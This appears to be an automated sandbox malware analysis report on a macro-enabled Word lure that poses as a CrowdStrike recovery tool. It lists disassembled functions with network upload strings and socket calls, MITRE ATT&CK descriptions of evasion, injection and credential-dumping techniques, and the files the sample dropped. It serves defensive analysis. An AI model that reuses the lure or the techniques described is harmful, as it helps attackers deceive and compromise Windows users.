API ID: AddressProc$DirectoryLibraryLoadSystem$CleanupFrequencyHandleModulePerformanceQueryStartup
String ID: AddDllDirectory$LoadLibraryExA$if_nametoindex$iphlpapi.dll$kernel32
API String ID: 795306257-2794540096
Opcode ID: 3003b2d0f8eec47550ca270e86fcb0e17ab33abd67c11581925bf011729d4ff2
Instruction ID: c2c92834594b69710204ee6e5fbc32f026b47aa36bebb25bbfdab9d1576a064e
Opcode Fuzzy Hash: 3003b2d0f8eec47550ca270e86fcb0e17ab33abd67c11581925bf011729d4ff2
Instruction Fuzzy Hash: 49618B25B0DB8285FB719B91E9643BD73A1BF88B92F584031C94E07799EFACE406C710

Function 00007FFD92C31450 Relevance: 28.4, APIs: 1, Strings: 15, Instructions: 428
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 00007FFD92C318B4
Content-Length: 0, xrefs: 00007FFD92C3165E
Failed sending HTTP POST request, xrefs: 00007FFD92C31B5C
100-continue, xrefs: 00007FFD92C3158C, 00007FFD92C3174D, 00007FFD92C318E2
Failed sending POST request, xrefs: 00007FFD92C316A5, 00007FFD92C3181B
Expect:, xrefs: 00007FFD92C315A2, 00007FFD92C31763, 00007FFD92C318F8
0, xrefs: 00007FFD92C31A44, 00007FFD92C31AF7
%x, xrefs: 00007FFD92C319C3
Failed sending HTTP request, xrefs: 00007FFD92C314F0
Failed sending PUT request, xrefs: 00007FFD92C31632
Content-Length: %I64d, xrefs: 00007FFD92C3155B, 00007FFD92C316EC, 00007FFD92C3187C
Expect, xrefs: 00007FFD92C31578, 00007FFD92C31739, 00007FFD92C318CE
%s, xrefs: 00007FFD92C31713
Content-Length, xrefs: 00007FFD92C31546, 00007FFD92C316D7, 00007FFD92C31867
Content-Type, xrefs: 00007FFD92C31899

Memory Dump Source

Source File: 00000010.00000002.5554047154.00007FFD92BE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD92BE0000, based on PE: true

Associated: 00000010.00000002.5554028318.00007FFD92BE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554162005.00007FFD92D2A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554180701.00007FFD92D2F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd92be0000_rundll32.jbxd

Similarity

API ID:
String ID: %s$%x$0$100-continue$Content-Length$Content-Length: %I64d$Content-Length: 0$Content-Type$Content-Type: application/x-www-form-urlencoded$Expect$Expect:$Failed sending HTTP POST request$Failed sending HTTP request$Failed sending POST request$Failed sending PUT request
API String ID: 0-502057143
Opcode ID: b29578a7b57bf9ddbc1fed7d59809027ef25a9640a71b33a7d89bd820d7e58e9
Instruction ID: b8e2d07e5009e748180ce6288f986340eb1ec5286186697cbc68fa5037f8d294
Opcode Fuzzy Hash: b29578a7b57bf9ddbc1fed7d59809027ef25a9640a71b33a7d89bd820d7e58e9
Instruction Fuzzy Hash: 28128C61B0868288FB34DBA694612FD2390EF05BD6F484A35DE5D47799EFECE651C300

Function 00007FFD92C93180 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_Scheduler::_Scheduler.LIBCMTD ref: 00007FFD92C93198
__crt_scoped_stack_ptr.LIBCPMTD ref: 00007FFD92C931A2

Part of subcall function 00007FFD92C92E20: Concurrency::details::_Scheduler::_Scheduler.LIBCMTD ref: 00007FFD92C92E38

Part of subcall function 00007FFD92CBF5F0: Concurrency::details::_Scheduler::_Scheduler.LIBCMTD ref: 00007FFD92CBF645

Part of subcall function 00007FFD92CBAC00: Concurrency::details::_Scheduler::_Scheduler.LIBCMTD ref: 00007FFD92CBAC13
Part of subcall function 00007FFD92CBAC00: __crt_scoped_stack_ptr.LIBCPMTD ref: 00007FFD92CBAC1D

Strings

minkernel\crts\ucrt\src\appcrt\stdio\fclose.cpp, xrefs: 00007FFD92C931F0, 00007FFD92C93247
_fclose_nolock_internal, xrefs: 00007FFD92C9324E
%ls, xrefs: 00007FFD92C931DB
stream.valid(), xrefs: 00007FFD92C931CF, 00007FFD92C93255

Memory Dump Source

Source File: 00000010.00000002.5554047154.00007FFD92BE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD92BE0000, based on PE: true

Associated: 00000010.00000002.5554028318.00007FFD92BE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554162005.00007FFD92D2A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554180701.00007FFD92D2F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd92be0000_rundll32.jbxd

Similarity

API ID: Concurrency::details::_SchedulerScheduler::_$__crt_scoped_stack_ptr
String ID: %ls$_fclose_nolock_internal$minkernel\crts\ucrt\src\appcrt\stdio\fclose.cpp$stream.valid()
API String ID: 4164245112-3166852756
Opcode ID: a5ffaeaf6bac3cdd2b3cb803ac1a63f7dd1f6ac5655aa2d8d1d23ef1b7c4d498
Instruction ID: 89ddad49e90383c09f3c888f1cf9efda7d81bba8cd233b3f531ecebc97636cfe
Opcode Fuzzy Hash: a5ffaeaf6bac3cdd2b3cb803ac1a63f7dd1f6ac5655aa2d8d1d23ef1b7c4d498
Instruction Fuzzy Hash: F9414F32B5DA4281FA20EB90E4A53AE7760FBC1352F501131E68E476EADFBCD945CB40

Function 00007FFD92C2D320 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 303networkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32 ref: 00007FFD92C2D6DE
setsockopt.WS2_32 ref: 00007FFD92C2D706

Strings

Failed to alloc scratch buffer, xrefs: 00007FFD92C2D531
We are completely uploaded and fine, xrefs: 00007FFD92C2D7CE
, xrefs: 00007FFD92C2D85E

Memory Dump Source

Source File: 00000010.00000002.5554047154.00007FFD92BE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD92BE0000, based on PE: true

Associated: 00000010.00000002.5554028318.00007FFD92BE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554162005.00007FFD92D2A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554180701.00007FFD92D2F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd92be0000_rundll32.jbxd

Similarity

API ID: Ioctlsetsockopt
String ID: $Failed to alloc scratch buffer$We are completely uploaded and fine
API String ID: 1903391676-2090592439
Opcode ID: 6c1c5674d205714105010a9475caa237fcac7e64cbfa933fee0e310006a5d6f1
Instruction ID: 134ec7a315fffff4664de430d1a812098964157782355c0807933089a2c71ed7
Opcode Fuzzy Hash: 6c1c5674d205714105010a9475caa237fcac7e64cbfa933fee0e310006a5d6f1
Instruction Fuzzy Hash: 01E16962B09BC181FB619FA5D4603FD23A0EB55F99F084235DE4C0B799EFB8E4858310

Function 00007FFD92C532B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121networkCOMMON

Download Yara Rule

APIs

connect.WS2_32 ref: 00007FFD92C5333E
WSAGetLastError.WS2_32 ref: 00007FFD92C5334D
WSASetLastError.WS2_32 ref: 00007FFD92C53385

Strings

connect to %s port %u failed: %s, xrefs: 00007FFD92C533AF

Memory Dump Source

Source File: 00000010.00000002.5554047154.00007FFD92BE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD92BE0000, based on PE: true

Associated: 00000010.00000002.5554028318.00007FFD92BE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554162005.00007FFD92D2A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554180701.00007FFD92D2F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd92be0000_rundll32.jbxd

Similarity

API ID: ErrorLast$connect
String ID: connect to %s port %u failed: %s
API String ID: 375857812-2835513649
Opcode ID: 35426790cd646d2abe0b259636e90f30822dde65868a0c6a453a7baa595e5a7a
Instruction ID: ea9d0a6ddb0ddf5eb06a2df9a216365855056ded686bbf836fad3e6777292b42
Opcode Fuzzy Hash: 35426790cd646d2abe0b259636e90f30822dde65868a0c6a453a7baa595e5a7a
Instruction Fuzzy Hash: 3051B322B0C68685FB719FE5D424BBD2750AB41BB5F084231DE2D4B2D6DFA8E485C350

Function 00007FFD92C550D0 Relevance: 4.5, APIs: 3, Instructions: 37networkCOMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 00007FFD92C550F4
getsockopt.WS2_32 ref: 00007FFD92C55117
WSAGetLastError.WS2_32 ref: 00007FFD92C55121

Memory Dump Source

Source File: 00000010.00000002.5554047154.00007FFD92BE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD92BE0000, based on PE: true

Associated: 00000010.00000002.5554028318.00007FFD92BE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554162005.00007FFD92D2A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554180701.00007FFD92D2F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd92be0000_rundll32.jbxd

Similarity

API ID: ErrorLastSleepgetsockopt
String ID:
API String ID: 3033474312-0
Opcode ID: cbb260f30f3792f59bba316126a7d3cab7eb90b7cebd467d3e13b86401f8dfd0
Instruction ID: c7a451554aa29494712db1e8e65edd785070c7e88fb3c5539d2841f92d7265a9
Opcode Fuzzy Hash: cbb260f30f3792f59bba316126a7d3cab7eb90b7cebd467d3e13b86401f8dfd0
Instruction Fuzzy Hash: 4D011A3170C64286FB748B91E86463EBBA4AB457D5F254034EA8A46A94DFBDE4458B00

Function 00007FFD92CC9360 Relevance: 3.0, APIs: 2, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

__vcrt_lock.LIBVCRUNTIMED ref: 00007FFD92CC939D
__vcrt_lock.LIBVCRUNTIMED ref: 00007FFD92CC93C5

Memory Dump Source

Source File: 00000010.00000002.5554047154.00007FFD92BE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD92BE0000, based on PE: true

Associated: 00000010.00000002.5554028318.00007FFD92BE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554162005.00007FFD92D2A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554180701.00007FFD92D2F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd92be0000_rundll32.jbxd

Similarity

API ID: __vcrt_lock
String ID:
API String ID: 3805268497-0
Opcode ID: 41d24cbb1d0383c0d661ef98a3b7f47cf29ba88232a38dedc747ce806050d45d
Instruction ID: 8c32d383a3f7fc302af974e6ca9bc6c3926ecfaa297abac9d09aba34ab92f585
Opcode Fuzzy Hash: 41d24cbb1d0383c0d661ef98a3b7f47cf29ba88232a38dedc747ce806050d45d
Instruction Fuzzy Hash: C5F0FF21F4CA8681FA30BB91E46227E6364FFC5356F440531EA8E877E6DF6CE605C611

Function 00007FFD92C530F0 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FFD92C53185

Memory Dump Source

Source File: 00000010.00000002.5554047154.00007FFD92BE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD92BE0000, based on PE: true

Associated: 00000010.00000002.5554028318.00007FFD92BE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554162005.00007FFD92D2A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554180701.00007FFD92D2F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd92be0000_rundll32.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 187b7bc2a9f825df5aa9e2809a290329328927cc865f69aa9828c897424ecf30
Instruction ID: 6cff09b5af3b48fcc2016b20b584afafb96031806b177f6e08046f485f799fbf
Opcode Fuzzy Hash: 187b7bc2a9f825df5aa9e2809a290329328927cc865f69aa9828c897424ecf30
Instruction Fuzzy Hash: 33218B63B18B8192E7688BB9E5947AD6760E759BB9F250321DBBC033D5CF64D4E0C340

Function 00007FFD92CC91E0 Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFD92CC8840: __CxxFrameHandler2.LIBCMTD ref: 00007FFD92CC8863

Concurrency::details::_Scheduler::_Scheduler.LIBCMTD ref: 00007FFD92CC9253

Part of subcall function 00007FFD92CC8A00: _invoke_watson_if_error.LIBCMTD ref: 00007FFD92CC8A6E
Part of subcall function 00007FFD92CC8A00: _invoke_watson_if_error.LIBCMTD ref: 00007FFD92CC8AA5

Part of subcall function 00007FFD92C0AC50: __crt_unique_heap_ptr.LIBCMTD ref: 00007FFD92C0AC5E

Memory Dump Source

Source File: 00000010.00000002.5554047154.00007FFD92BE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD92BE0000, based on PE: true

Associated: 00000010.00000002.5554028318.00007FFD92BE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554162005.00007FFD92D2A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554180701.00007FFD92D2F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd92be0000_rundll32.jbxd

Similarity

API ID: _invoke_watson_if_error$Concurrency::details::_FrameHandler2SchedulerScheduler::___crt_unique_heap_ptr
String ID:
API String ID: 3486799128-0
Opcode ID: 38d90f99987e32a5f59509817b778bacc91015699e05273823e207923321f910
Instruction ID: 585549dd7f7746e079ecefdaf1fd2bbda2c7b17d08a66ff0bbfc24b7b7c275d0
Opcode Fuzzy Hash: 38d90f99987e32a5f59509817b778bacc91015699e05273823e207923321f910
Instruction Fuzzy Hash: 72113021B1CA4282FB70EB95E46537E73B0FBC4745F401632E68D466A9DFBCE5058B40

Function 00007FFD92CC5410 Relevance: 1.5, APIs: 1, Instructions: 9COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_Scheduler::_Scheduler.LIBCMTD ref: 00007FFD92CC5423

Part of subcall function 00007FFD92CC49E0: __crt_scoped_stack_ptr.LIBCPMTD ref: 00007FFD92CC49F4

Memory Dump Source

Source File: 00000010.00000002.5554047154.00007FFD92BE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD92BE0000, based on PE: true

Associated: 00000010.00000002.5554028318.00007FFD92BE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554162005.00007FFD92D2A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554180701.00007FFD92D2F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd92be0000_rundll32.jbxd

Similarity

API ID: Concurrency::details::_SchedulerScheduler::___crt_scoped_stack_ptr
String ID:
API String ID: 614740146-0
Opcode ID: 7e7a60a190c4d829d78ea71c487d317489d324ebd5495139aceeb50bac227877
Instruction ID: ca02f153cb4570c96bb1a27c9978eb7c3542facef40238b312137f5986e1d94d
Opcode Fuzzy Hash: 7e7a60a190c4d829d78ea71c487d317489d324ebd5495139aceeb50bac227877
Instruction Fuzzy Hash: 77C01267F1848291DD20FB50E46205E6330F7D0785FD08031EB8C03666CD6CC519CB00

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make a payload or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the device or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Portions of files can also be encoded to hide the plaintext strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.
Tactics:	Defense Evasion
Data Sources:
Platforms:	Android, iOS
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CatalogCacheMetaData.xml

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectbronze.jpg

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectgalaxy.jpg

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectgold.jpg

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectlava.jpg

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectocean.jpg

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectrainbowglitter.jpg

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectrosegold.jpg

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectsilver.jpg

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\oart.json

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Windows Analysis Report
New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
